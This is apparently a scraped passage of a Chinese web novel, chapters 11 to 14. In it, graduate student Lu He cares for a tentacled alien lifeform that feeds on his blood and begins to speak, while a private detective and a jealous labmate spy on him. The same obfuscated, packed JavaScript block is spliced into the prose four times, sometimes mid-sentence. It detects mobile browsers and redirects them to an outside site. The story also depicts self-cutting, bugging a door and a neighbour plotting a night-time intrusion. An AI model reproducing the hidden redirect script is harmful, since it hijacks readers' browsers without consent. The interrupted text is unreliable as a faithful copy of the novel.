祂展现出来的智慧明显不输于人类,同时也有着与人类相似的情感。 替换掉应该没什么问题……吧。 陆禾看了一下底下的回帖,给自己的判断打了个问号。 [1L:看你能不能脱他裤子,弹他内裤] [2L:让对方给你花钱(新款铂金包真的很好看但我老公有点舍不得姐妹们觉得他是不是不爱我了嗯是的)] [3L:问对方我和你爸爸/妈妈掉下河里你先救谁] …… 这真的是什么正经论坛吗? 陆禾有些无语地往下翻,在他逐渐失去耐心开始一目十行的时候,看到一条回帖。 [182L:姐姐讲的好好!] 地下还有其他账号的支持附和。 [183L:斯哈斯哈,摩多摩多(苍蝇搓手)] [184L:感觉看到了一点成年人文学,这才是我要的成熟的人之间的感情博弈!] 陆禾看了一眼被回复的楼层,往上翻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993094|147843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> [136L:认真回答一下,其实我的判断标准很简单:在乎你的人能容忍你的“作”,但是同时也会对你有着很高的占有欲(我男朋友是爹系,不一定适用于其他)] 例如她对自己的过去的床伴就没有什么占有欲,但是她的现任只要一看到她盯着另外一个帅哥看超过三秒就会吃醋。 而她偶尔作一下,比如捉弄自己的伴侣,床伴的态度是觉得她浪费时间,而现任却觉得是蜜里调油的情·趣,很愿意配合她。 陆禾认真地看完,有点不太确定,毕竟他和“祂”又不是这个女生和男朋友的关系,不知道这经验是否不适用。 [137L:其实情侣之外的关系也是类似的,父母会容忍你的作,而友谊也会有独占欲] ——紧接而来的这句话,让陆禾打消了才刚冒出头的疑惑。 他抱着取经的态度继续往下翻。 [138L:那姐姐有没有作过头的时候呀?该怎么把人哄好呢?] [139L:肯定有啊,哄好的方式有点羞羞(对手指.jpg),反正当时被教训得好惨(///w///)] [140L:细说有多惨(shuang)] 陆禾:…… 怎么感觉话题的风向有些怪? [141L:咳咳,就是当时作的太过了嘛,他生气了就去哄,谁知道直接被教训了一顿。后面就是认错讨饶,掉两滴眼泪,说自己知道错了,求求他不要生气了。然后顺便陪他玩了一些他喜欢的游戏,喊了点他喜欢的称呼之类的……] [142L:啊啊啊最后两句才是重点吧!学到了!] 陆禾看完,一头雾水地关掉了网页。 玩游戏? 不过男生是普遍都喜欢打游戏,他记得同门的好几个师弟经常讨论哪个游戏又发售了,哪个网游准备公测之类。 陆禾没有时间,也没有那个钱投进娱乐里,从来也不参与。 但是,玩游戏和那个女生前面说的“羞羞”又有什么关系? 陆禾没搞明白。 但他搞懂了一件事。 作就完了。 那么,该怎么作呢? 陆禾思考了一会,有了想法。 11. 第 11 章 陆禾今天走的很早。 他的论文暂时没什么进度,毕竟实验样本在宿舍里,他有想法也没法实施。 留在实验室也是闲坐着,不如少吸点挥发试剂。 经过楼梯间的时候,他看到一个鬼鬼祟祟的背影。 陆禾伸手拍了拍他,“港明。” 朱港明面带惊恐地转头,看到陆禾脸上微笑的那一刻,他腿一软差点跪到地上。 “陆陆陆,陆禾……” “港明你怎么了?”陆禾假意不知,“你怎么情绪这么激动,是身体不舒服吗?” 朱港明瑟缩了一下躲开陆禾伸过来的手。 他的眼神像是见了鬼一样,盯着陆禾,内心掀起一阵风暴。 陆禾怎么对他是这个态度? 莫非昨天把自己关在洗手间里的不是他? 那又会是谁! 朱港明强迫自己冷静下来,他努力动了两下唇角,但仍旧不曾如愿地挤出一个令他满意的笑容。 “陆禾,你,你怎么在这?” “我准备走了。”陆禾表情平淡地道,“实验没什么进度,我这两天都在宿舍里呆着想方案,今天回来验证一下。” 朱港明一愣,“你这两天都在宿舍?” “对。”陆禾点头。 “没出门?”朱港明追问。 陆禾:“拿过外卖。” 望着呆在原地的朱港明,陆禾说了句那我先走了。前者呆呆地点头,一直到陆禾离开,都一直傻愣在原地,思考昨天究竟是怎么回事。 直到一阵震动让他回魂。 [陌生号码:陆禾的住址] 朱港明一阵激动,颤抖的双手按在新买的光脑上发出去一段乱码。 [陌生号码:?] 朱港明忍不住确认了一句。 [还需要我吗?] 侦探看穿了他的想法,直截了当地回复。 [陌生号码:只要你能提供有用的信息让陆禾定罪,20万的酬劳一分也不会少你的] 其实和朱港明猜的一样,昨天的事情后,张家请的私家侦探其实打算废掉他这颗棋子的。 但判断来判断去,只有朱港明合适。 根据私家侦探的观察,实验室的其他人并不讨厌陆禾,顶多算是合不来——这跟家境之间的差异有关系。 陆禾心思都在科研上,而少爷小姐们想的多是吃喝玩乐。 但并不是所有人都没心没肺,不记陆禾的好的。 没有陆禾,他们毕业都成问题。 只有朱港明一个,和陆禾家境相仿,但又因为陆禾的科研水平高,不用像他一样给其他少爷小姐当狗腿子,而真正地妒恨陆禾。 其他人未必愿意淌这浑水,也不如朱港明这般好掌控。 [陌生号码:我问他的住址] 朱港明和陆禾住一栋,他立刻将陆禾的寝室门牌号和宿舍楼下的门锁密码告知了私家侦探。 [你是要去他宿舍里找证据吗?] 后者没有再回复他,而他也收起了新买的光脑,抬起头看向实验室内最后一排空了的那个座位时,眼里流露出浓浓的怨怼。 只要他拿到那20万,这一切委屈,都是值得的。 * 陆禾吓唬完朱港明,慢悠悠地走在校道上。 他想起之前朱港明说他变了,姜荷也说过他变了。 也的确是,换做以前,他根本不可能有刚刚那样捉弄朱港明的心思。 陆禾莫名感觉,自己比之前鲜活了一点。 嗯,鲜活。 他看了一眼从刚刚开始就不断震动的光脑,发现是新来的一个师弟拉了个没有导师的群。 群里已经聊了一段时间了,消息非常多。 陆禾一般不会有兴趣参与这些日常闲聊的讨论,但今天他却非常想看看。 一个学妹发了自家养的猫的视频,带了一连串刷屏的感叹号,陆禾细看了一下。 [啊啊啊它叫我妈妈诶!你们听,真的很像!] 陆禾点开那个视频,是一只白手套狸花,脑袋圆圆的,看着年龄不是很大,正趴在学妹的臂弯里,睁着溜圆乌黑的大眼睛,嗓音拐着弯叫了两声。 那声音听起来真的很像在说“妈妈”。 群里不少人都被萌出少女心。 [可爱猫猫,姨姨亲亲] [帮我问一下它喜欢什么颜色的麻袋] [呜呜,萌萌,嬷了!] 一个科研怪人学弟转发了一篇文献。 [研究表明动物在深爱主人的时候会模仿人类的语言来呼唤(链接)] 另一个学弟则发了自己家养的鹦鹉的视频。 [来看我的!] 陆禾点进去,是一只花斑鹦鹉,站在主人的肩头,语气俏皮地说了句:“江明,帅!” 江明是学弟的名字。 [这是你故意教的吧,不是它有感而发] [全是违心之言,这算虐待动物吧?] [喂,你们什么意思!] 群里又欢声笑语起来,陆禾没出声,但每一条消息都认真看了。 看着看着他脑袋里突然冒出一个念头:如果“祂”会说话,那第一句话的内容,会是什么呢? 陆禾经过宿舍区和教学区的分岔口时,看到了一个熟悉的身影。 姜荷跟旁边一个带着黑框眼镜,看着十分斯文的瘦高男生挥手告别后,转头也看到了陆禾。 “陆学长。” 陆禾看了一眼不远处频频回头的男生,问了句:“你男朋友?” 姜荷点了点头。 陆禾思忖片刻,开口道:“可以请教你一个问题吗?” 姜荷眨了眨眼,平时都是他们这些学弟学妹向陆禾讨教,今天倒是意外。 “陆学长你说。” “你男朋友生过气吗?” 陆禾的问题把姜荷问笑了。 “当然。”姜荷没有恶意,笑着点头,“相处总会有摩擦的。” 姜荷说那次是因为她本来答应男朋友一起去看一个对方感兴趣很久的科技展,但是因为临时有事不得不爽约了。 男生觉得自己不够被重视,就有些生闷气。 “设身处地想想,还是会有些不高兴的,他生气也正常。就算是朋友之间有这样的事,被放鸽子的一方也会不开心的。” 姜荷说着,耳朵也有些红,“不过我男朋友是比较爱吃醋。” 陆禾想起方才男生几步一回头的动作,转头看去,果不其然,人还在往他俩这边看。 他说:“你可以告诉他我喜欢男生。” 陆禾的本意是如果姜荷被男朋友问起来,可以给个简单而有效的理由。 但没成想姜荷突然拿出口袋里的光脑,冲着屏幕说:“这下你总放心了吧?” 陆禾眨了眨眼。 屏幕里的男生露出几分赧然来,“宝宝你别这样批评我……” 陆禾终于回过神:原来姜荷的男朋友一直在听他们两个人说话。 ……这个占有欲和醋意好像真的有点强。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007266|147843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “抱歉陆学长,不是故意要听你们聊天的。”男生还是道了个歉,虽然没什么说服力。 然后放下心的男生很快就把通讯挂断了。 陆禾被热恋小情侣的相处模式震惊了一下,不过他很快回过神来。 他倒是不介意。 而且姜荷刚刚说的,关于她和她男朋友闹矛盾的那一次。 倒是可以作为一个试验参考。 陆禾跟姜荷告别,一边想着刚刚在论坛上看到的那个姐姐的分享,一边初步拟定了一个计划。 陆禾回到宿舍,手里提着一只印有便利店logo的塑料袋。 一开门,熟悉的冰凉就缠绕了上来。 光脑开着,上面是一个游乐园的宣传视频。 陆禾反手带上门,没留意到一个跟着他直到他进门后消失在走道里的身影。 确认陆禾住址的私家侦探下楼时,跟刚好上来的杜景恒擦肩而过。 后者蹙眉看了他一眼,他们大房间里其他两户都搬走了,现在只剩下他和陆禾各住一间。 这人是谁? 杜景恒看了楼下的背影一眼。 而房间里,陆禾从袋子里拿出一瓶牛奶,剪开包装递到触手面前。 腕足:? “尝尝。”陆禾道。 深紫色的腕足伸进利乐包剪开的瓶口,很快里面的牛奶液面就开始迅速下降。 吸盘上沾了乳白色,又被另一根腕足吃干净。 陆禾一气又开了鲜榨果汁、植脂末奶茶、酸奶、小甜水勾兑饮料,摆到祂面前。 经过观察,陆禾发现祂最喜欢的还是可乐,可能是因为喜欢气泡的感觉。 但不喝无糖可乐。 腕足挤进透明的可乐瓶里,液面不断下降,陆禾悄悄拿出一把刀片。 他再次割开了手臂上才好了两天的伤口。 血液汩汩流出,瞬间就被伸长的触手包裹住。 “唔…”陆禾哼了一声。 被吸血的滋味着实不好,有一种清楚地感知到自己在被一丝丝吞噬血肉的撕扯感。 但很快小臂蔓延开一股酥麻,伤口很快就没有了知觉。 陆禾想起上一次伤口也是很快止血,意识到“祂”的黏液不仅有类似液体绷带止血的效果,可能还含有神经毒素,能麻痹感知。 很多头足纲也有类似的神经毒素,但基本是用于捕猎时麻痹猎物让其失去反抗,而一些小型的猎物甚至会直接被毒死。 一瞬间,室内只剩下触手与黏液的咕啾咕啾声。 看来血液的进食优先级,还是在其他的人类饮品之上。 陆禾正思索着,手臂上缠紧的腕足缓缓放松抽了回去。 他低下头,看到最后一根腕足抬起,搭在他的伤口上。 而手心里藏着的刀片,被从旁伸来的另一根触手卷走丢到了一旁。 陆禾一愣,目光下意识地追着那刀片的抛物线而去。 祂一直都知道吗? 刀片落在地上,发出清脆的声响。 “陆…禾……” 嗯? 陆禾轻轻眨了眨眼睛,意识到声音的来处,他微微张嘴。 低头望去,他想说话,但因为太过诧异,声音到了嘴边却只剩一阵沉默。 触手轻轻摸了摸他手臂上的伤口,冰凉的触感很好地镇住了仅剩不多的疼痛。 “不…要……” “陆……禾。” 陆禾突然懂了。 祂说的是:陆禾,不要伤害自己。 12. 第 12 章 陆禾早上准备出门的时候,祂还在玩家里的那台老式光脑——不,在软件升级后,已经成了一台还不错的光脑了。 屏幕上放的还是昨晚那家游乐园的相关视频,只不过从官方的变成了网游拍的vlog。 陆禾站在光脑旁。 “你很喜欢这个?”陆禾问。 触手晃了晃。 祂虽然会说话,但不习惯说,也还不是很熟练。 陆禾昨晚尝试观察了一下祂的发声器官,但并没有找到。 语言是一种非常能建立亲密感的沟通模式,或许因为昨天晚上祂居然说话了,陆禾有史以来第一次在出门的时候有了种“要和一个伙伴暂时分别“的感觉。 抓着门把手,他转头了一眼暂停了视频,从光脑前爬到自己后腰上抱着的触手。 是在舍不得他吗? 触手像是有感应似地蹭了蹭他的腰。 “我晚上早点回来陪你。”陆禾鬼使神差地说了句。 他说完自己都愣住了。 触手又蹭了他两下。 而他走了没多久,触手再一次活动起来,光脑的输入界面上,出现了一串还有些生涩的拼音,最终零零散散地拼凑成几个文字。 [陆he] [陆禾…好……] 来到实验室的时候,陆禾在光脑上记录下昨晚的发现。 [K-13星球生命体,五腕足为成长分割点,推测与人类孩童的青春期相符,开始掌握人类的语言且有运用表达能力] [能产生神经性毒素并通过腕足注入猎物体内,轻剂量毒素有麻醉效果,中等及大剂量毒素注入,推测会有不同的身体反应(暂时无法验证)] 陆禾装水的时候,前排几个学弟学妹正围着一台光脑。 他看了一眼,是新来那个拉群的学弟,还有昨晚在群里发猫的学妹,以及发自家鹦鹉夸他帅的江明,以及其他几个。 陆禾路过的时候扫了一眼屏幕。 他们在看一个狗狗的视频。 新来的学弟注意到陆禾,主动打招呼:“陆学长!” 陆禾点点头。 学弟:“要一起看看我家的狗狗吗!” 陆禾没忍住,好奇地凑了过去,其他几人略感意外,但都很主动地给他让了位置。 学弟家养的是只德牧,还是赛级,威风凛凛的,体型矫健而高大。 “它站起来都快比我高了。”学弟说着,补充了一句,“我182。” 周围几个女生嘴角抽了抽。 相比起“男生只要有1米8就恨不得把身高刻在额头上”这个话题,陆禾更关注的是屏幕上放的视频内容。 “你家狗狗懂人话啊?”陆禾说。 上一个视频放完后自动跳转,现在放的是学弟家德牧跑到客厅角落按下一个按钮,旁边摆着的智能音箱自动念出了按钮上对应的文字。 “吃饭。” 德牧抬起前爪又用力按了两下。 “吃饭,吃饭。” 很快学弟的身影出现在镜头里,给空了的餐盘倒上狗粮,德牧吃完饭又按了“喝水”、“玩球”、“出门”几个按钮。 分明是懂那上面的意思。 几人看得啧啧称奇,学弟不无炫耀地道:“是啊,我家黑风可聪明了。” 这个视频播完,下一个视频开篇就是德牧的大脸,怼着镜头龇牙。 毕竟是猎犬,凶狠起来还是有些吓人的,有个胆子比较小的女孩子直接啊了一声。 “没事,它撒娇呢。”学弟笑着解释了一句,“当时我回家晚了,没陪它玩,它就扑我身上龇牙咧嘴的,看着凶其实就是在撒娇……” * 这边大家在各自翻相册分享自家的宠物有多黏人,而另一边…… 独自留在陆禾宿舍的“祂”,正专心地看着屏幕上的游乐场vlog视频,而走廊外来了一个鬼鬼祟祟的身影。 私家侦探今天换了一件十分不起眼的黑色外套,长长的袖口垂落挡住了他的手掌。 侦探的手指微微蜷起。 他掌心之中托着一枚绿豆大小,颜色接近门板原木色的微型监听器。 侦探进门时低着头,不小心撞到了一个人。 “抱歉。” 侦探压了压帽檐,却听面前“嚯”地一声冷笑。 不想起冲突,他着蹙眉假装没听见,想要绕过却被挡住了去路。 抬起头时,一个高大的男生正挑着一边眉毛看着他。 男生五官平平,但身材还不错,怀里搂着一个身量清瘦,浓妆艳抹后长得有几分像陆禾的男生。 “你是谁?” 侦探蹙了蹙眉,看了一眼四周,一间大平层里四间房,另外两间明显已经搬走,那面前这人身份就很好判断了。 “我不是来找你的。”侦探说。 杜景恒道:“你和陆禾是什么关系?” 他注意到这人两次了,明显是冲着陆禾来的。 侦探眯了眯眼,目光在杜景恒怀中人脸上扫了两眼。 他嗤笑一声,抬起头时,帽檐下的双眼露出带着几分玩味的笑容,“怎么,只许你走肾不走心?” “你……”杜景恒被噎了一下,愤怒地捏紧了拳头。 侦探不动声色地将指尖上的微型监听器站在了门把手上,故意作出一副畅快的表情,整理了一下腰带,转身离开了。 杜景恒咬牙切齿。 旁边的男生搂着他的腰,声音嗲嗲的,“恒哥哥,你们说的是谁呀?” 杜景恒吸了口烟,看着小男生和陆禾有六分相似的眉眼,带着点泄愤咬了上去。 一边把人当陆禾啃,他一边恶狠狠地想着。 等着吧,等哪天陆禾忘记关阳台窗…… 他一步就能从自己的房间跨过去。 到时候,也不枉他这段时间每天夜里都在偷偷蹲点观察费的功夫。 * 天刚擦黑,一个不速之客的到来让整个实验室都紧张了起来。 大导师站在门口,扫视了一圈正紧绷着假装努力写实验方案的众学生们,目光最终定格在最后一行。 “陆禾,你出来一下。” 刚收拾好东西正准备回宿舍的陆禾顿了顿,在导师严肃的目光下点了点头,出了门。 导师把他带到办公室。 陆禾上一次来,还是刚入师门的时候,才读大二。 才刚坐下,导师就劈头盖脸来了一句: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019670|147843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “张朗的事情,跟你有没有关系?” 陆禾动作一顿。 他对上老师那双充满审视的目光,摇了摇头,认真地说:“张朗不是我杀的。” 这话,也不算撒谎。 导师双手交叠坐着,看了陆禾许久。 最终,他闭上眼睛,“我知道了。” “如果真的与你无关,其他的事情老师会帮你解决。” 陆禾一直知道,自己的导师是个很现实的人。 他可以为了更快评上博导,收一些其他老师不愿意收的关系户富二代门生;也可以为了得到更多的实验室投资,换取更好的设备,让陆禾在论文的二作名单里加上其他人。 当然,作为补偿,他也会给陆禾提供赚取更多生活费的方式,给他换更好的实验器材。 陆禾完全能理解导师的做法,也因此他非常了解导师现在的想法。 实验室还需要他挑大梁,只要不是他真的杀了张朗,导师是不会为了少些麻烦而把自己的学生供出去顶锅给人泄愤的。 所以听到导师没有再追问,陆禾松了口气。 他按照往常,导师不说话了,他就可以走了。 但没想刚一转身,就听见一句话从耳后追了过来。 “毕业实验进度如何。” 陆禾无奈地只能留下来,而挂在一旁壁钟上的分针和时针,早已转过了他所说的“早点回家”的时间。 好不容易将导师应付完,陆禾回到宿舍的时候,一个男生擦着汗从他旁边经过。 他人盯着陆禾看了一会,回头读懂了杜景恒眼里不甘的神色。 “景恒哥哥,我走了。”男生搂了一把杜景恒的腰,“你今晚真厉害。” 杜景恒没理他,而是直勾勾地盯着陆禾,眼里带着的是不加掩饰的渴望。 看见陆禾站在门边,搂在一块的两人各有想法。 杜景恒在想陆禾为什么不像过往那样转身就离开,而男生在想的是,莫非陆禾也对杜景恒有意思?那他可要好好地破坏一下。 两个人在那开脑洞,而陆禾本人…… 他只是单纯不敢在现在开门而已。 好不容易忍着恶心看着面前两个各怀心思的人腻歪结束分开,杜景恒刚关上门,陆禾还没来得及松一口气。 身后的门把手向下一折,一根布满虬结青筋的深紫色触手从门缝之间钻了出来。 陆禾颈间一阵大力,他双目顿时睁圆,按着自己脖子上不断收紧的触手,被拖了进去。 门关上之前,另一根触手卷走了把手上的微型监听器,直接碾成了齑粉。 * 私家侦探回到自己的工作室,刚换上一套合适的家居服,放在桌面上的信号器就亮起了红灯。 他快步到桌前,带上了专用的监听耳机。 侦探听见了一些很奇怪的声音。 一阵闷响,一些咕啾咕啾的奇怪声响。 在他从这一片嘈杂中辨别出陆禾的声线时,侦探猛地坐直了,拿过一旁的录音设备和速记本。 “唔…哼……” 一声闷闷的像是被压抑着的闷哼过后,耳机里所有的声响都统一归为了雪花般的电流声。 他的监听器碎了。 13. 第 13 章 陆禾的后背贴着沙发,坐垫被挤压出一片前所未有的深陷。 呼吸变得有些困难,但还好没有到窒息的程度。 他被触手紧紧地缠着,一根腕足甚至钻进了衣摆里,把他腰腹勒出了清秀的骨骼线条。 耳旁是沉闷而又生涩的咬字。 “陆…禾……骗我……你……” 颈部的触手带着怨念收紧,吸盘紧咬着皮肤,红色的印痕渐渐变深。 换做平时,陆禾可能已经开始紧张了。 但今天,不知道是不是白天在实验室和学弟学妹们看多了那些小动物的视频,此时此刻陆禾低头看着整个趴在自己胸口,几根腕足争先恐后地往自己身上缠的“祂”。 ——陆禾不想承认,但莫名地,他硬生生从这个随时能要了他命的外星生物体身上,看出来几分撒娇的情绪。 但或许并不是他的错觉呢? 陆禾大胆地猜想。 “今天临时被老师叫走了,不是故意迟到的。”陆禾说。 他拍了拍颈侧的触手,靠吞咽缓解了一下轻微的缺氧感。 “如果你不高兴的话。”陆禾认真地说,“我给你吸点血好不好?” 像第一次那样,缠着他的脖子吸血。 左不过是多穿两天的高领T恤。 他听见了一声闷闷的“不”。 然后陆禾唇角刚结出来了一点的痂,又被撕裂开了。 知道舌根都有些发麻,口腔黏膜和喉咙也干燥得难受,陆禾才被放过。 眼角的泪花还没来得及擦就被吸盘舐去。 吃饱喝足的祂重新将陆禾放开,因为缠绕的时间太久,哪怕隔着衣服的手腕和腿弯,都有了印记。 更别说和腕足直接接触的腰了。 陆禾极少数需要解决需求的时候看过的几部小电影,也少有承受方的腰被掐成这样的。 洗澡的时候,陆禾拿着浴球搓泡沫,将脖子轻柔地搓洗干净,再轮到后背和前胸。 浴球的纱网蹭过一点时,微微刺痛传来,陆禾嘶了一下。 他低头看了一眼。 错觉吗。 怎么感觉左右两边有些不对称? * 出浴室的时候,触手已经盘在椅子上,又开始玩陆禾的光脑。 陆禾看这个架势,总觉得“祂”有一种即将进化成为网瘾少年的错觉。 一根触手隔着T恤缠了过来,将洗得发白透明的宽松布料勾出纤细的腰型。 力道有些霸道地把人勾到桌边,屏幕上是网络账号注册界面。 这个时代,网络上都是一个账号通行,不需要反复注册验证绑定各种杂七杂八的资料。 但也有一个问题。 “你好像没有身份证。”陆禾十分无情地告知了这个事实。 触手敲敲键盘,在屏幕上打了个问号。 陆禾思考着该如何跟祂解释“身份证”这个东西,后腰的腰窝处,被抵着的腕足轻轻推了推。 思忖片刻,陆禾填写完了其他的空栏,留下一个ID,还有身份证。 随即就见触手在键盘上一阵乱敲,不知发生了什么,居然真的弹出来了一个“注册成功”的窗口。 陆禾对“祂”的物种智慧及科技水平,又有了一个新的认知。 根据陆禾之前的推测,“祂”目前的生命周期应该就是人类的青春期,但这并不代表整体的生命周期会很短,有很多生物的生长期很快,但整体的寿数也很长。 触手的数量目前为止还保留在五根,看来这个“青春期”的时间要比之前四根触手长出来的那几天要长一些。 而“祂”这段时间展现出来的很多特质行为,包括但不限于学习人类的语言、上网冲浪、展现出情绪等等,和人类幼崽的青春期也有着一定的相似度。 陆禾当然不是单纯地在观察思考。 他不做这种没有意义的事情。 青春期,不论在哪个物种之中,都代表着生.理和心理迅速突变的阶段。 人类幼崽思维跳脱行为叛逆,猫咪会变得黏人又暴躁,而狗狗的精力过分充沛开始拆家……但这并不是一个完全负面的阶段。 耐心陪伴的家长会和孩子的感情更加深厚,被照顾好的小动物会真的把主人当成自己的家里人。 青春期代表着变化,也代表着机会。 一个建立深刻情感的机会。 陆禾从一开始就在思考这件事,不论是以身犯险去测试“祂”食谱的优先级,还是这两天计划着“作”一下的事,都只有一个目的。 ——在保证自身安全的基础上,尽可能地提升自己在“祂”心中的分量。 从一开始,K-13星球带回来的这个未知生命体就展现出了陆禾这个普通人类无法抗衡的绝对力量。 而当时的祂明显只是幼年体。 反倒最近缠在陆禾身上的触手,动作明显克制了很多,除了今晚因为他回来迟了,祂有些暴躁失控,其实陆禾身上已经很久没有留下这么重的痕迹了。 但陆禾并没有因此而高兴多少。 因为这证明,“祂”在觉醒。 觉醒更加独立的自我意识、思维和判断。 是好事情吗? 不见得。 陆禾记得他曾看过一部古地球留下来的侏罗纪电影,人类通过提恐龙的DNA,混合了其他物种的基因片段,克隆或者说创造出了一种新的恐龙。 但长期生活在牢笼里,没有和外界接触过的恐龙,在一次意外出逃后,成为了大杀器。 见到任何物种,它都会展开杀戮,原因无他。 “她在确认自己在食物链里的地位。” ——陆禾清楚地记得这句台词。 那么当“祂”进入成熟期,思维体系逐渐完整,意识到这个星球上已经处于食物链顶端的“人类”在自己面前依旧不堪一击的时候,又会去做什么? 陆禾无法预测,更无法保证那时候的“祂”不会完全失控,在这个星球上大开杀戒。 他不是悲天悯人的圣贤,只是因为当一头狮子开始发狂的时候,最先死亡的往往是它身边的饲养员。 而驯养一头还处在半幼年期的狮子,要比直接调·教一头成年雄狮要容易多了。 所以陆禾必须抓住这一段不知道能持续多久的“青春期”,增加一点自己在“祂”心里的筹码份量。 至少在“祂”哪天完全失控后,他不至于死得太快。 陆禾吹干头发躺在床上,看着某位“网瘾少年”的背影,在昏暗与闪烁的屏幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027613|147843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光交织之下,他没多久就睡着了。 当呼吸声变得轻缓,屋内重归静谧。 黑暗中挥舞着的触手在不知不觉间已经停了下来。 吸盘的方向对着床铺,像是无数双于黑暗之中,悄无声息注视着猎物的眼睛。 而背后的光脑屏幕上,浏览器标签重重叠叠。 而每一个打开的网页,都有陆禾的名字。 * 陆禾第二天到实验室的时候,昨天在分享自家宠物的几个人,今天又聚到了一块。 这一次,陆禾主动加入进去。 最前排的朱港明看到这一幕,表情复杂难言。 但在陆禾看他时,朱港明的眼神像见了鬼似的,避之唯恐不及。 “陆学长。”江明光脑放着他家的花斑鹦鹉,“我家鹦鹉昨天跟我奶奶学唱戏呢。” 陆禾认真地夸了两句,问一旁养了猫和狗的学妹和学弟。 “你们家的猫咪和狗狗,会有青春期吗?” “会啊。” “当然有的。” 陆禾问:“那你们当时有什么处理方式吗?” “狗狗的话比较简单,早上带着出去跑一圈,晚上饭后再玩一会儿,累了就不闹了。”学弟回忆着说,“当然做坏事的时候该训还是训的。” “训?” “嗯,我会打狗狗屁股让它长记性。”学弟说。 陆禾下意识地摸了摸自己后腰之前被抽过一下的地方。 算了,还不知道谁训谁呢。 “猫咪就比较难伺候一些。”学妹接过话头,“哦对,我当时有个方法觉得还挺有效的。” 她在光脑上打开一个应用,屏幕上出现了她家的场景。 “咪宝。”她喊了一声,是她家白爪狸花猫的名字。 很快,一个毛绒绒的小脑袋出现在镜头里,乌黑圆亮的黑鼻头拱了拱镜头。 “妈呜~” 学弟惊叹:“诶,真的会叫妈妈诶。” 学妹和陆禾解释说,她当时发现家里的猫猫虽然青春期了,但还是很想黏着她,就在家里装了个可以说话的摄像头。 有空的时候,她就会和猫猫说话。 “我感觉是有助于培养感情的。”学妹说。 学弟问:“陆学长你打算养毛崽崽了吗?” 陆禾含糊地道:“嗯,有考虑。” 他回到自己的座位上。 的确像学妹说的,青春期是安全感很缺乏的时期。 一个处理不好,感情的走向可能就是分崩离析。 虽然陆禾觉得祂对自己这个食物应该也没什么感情。 不过问题说回来。 该用什么方式,才能像学妹说的那样,和“祂”多保持联系,建立感情呢? 陆禾手指轻轻敲着桌面。 目光旁移落在手边他新换的一台平价光脑上,之前的老式通讯器摔坏后没多久彻底不能用了,所以他只能掏钱买了台新的。 他还在思索,屏幕却先于灵感一步亮了起来。 陆禾不记得自己见过这个号码。 但他立刻就知道了号码的背后是谁。 [陆禾] [陆禾陆禾陆禾陆禾……] [陆禾…在哪……] 14. 第 14 章 怎么找到这里来了。 陆禾看着光脑有些想笑。 虽不清楚祂是怎么知道自己的通讯账号的,但以之前展现出的对科技的掌握水平来看,从亿万数据流里捕捉到陆禾的账号,对“祂”而言或许不算难事。 陆禾回复。 [实验室] [你一开始在的地方] 陆禾怕祂听不懂,还解释了一下。 但这份体贴明显有些多余。 [不喜欢…实验室] [回来……] [h……陆禾] [陆禾陆禾陆禾…] 不知道的还以为对面是什么错乱的重复代码。 陆禾心想。 一向对感情不太熟悉的他,完全没有意识到这种重复甚至有些痴迷性质的行为,在人类心理学上,被定义为“偏执”。 那边的学妹在对着光脑通过自家的视频监控和猫咪说话,妈呜妈呜的叫声引来一群喜欢猫猫的同门,围着一起看。 这边陆禾看着光脑屏幕上不断弹出来的自己的名字,莫名产生了几分既视感。 突然就觉得“祂”似乎也没那么可怕了。 真的像个青春期里格外黏人的小家伙。 但似乎又哪里不一样。 陆禾正出神,旁边一个过来凑热闹的学妹突然对着他笑了一下。 笑得陆禾有些不解。 “陆学长。”学妹笑嘻嘻地掩着唇,“谈恋爱了啊?” 陆禾:“啊?我吗?” 学妹点头嘻嘻笑道:“是啊!陆学长你没发现自己是什么表情吧?” “小禾刚谈恋爱的时候也这样,对着光脑笑得脸都要抽抽了……哎呀别挠我痒痒……” 学妹身旁挽着手臂的正是姜荷,听到闺蜜开涮自己,她也有些羞涩。 “陆学长你别听她乱说。” 陆禾后半程没听见两个女生在说什么。 刚刚自己在笑? 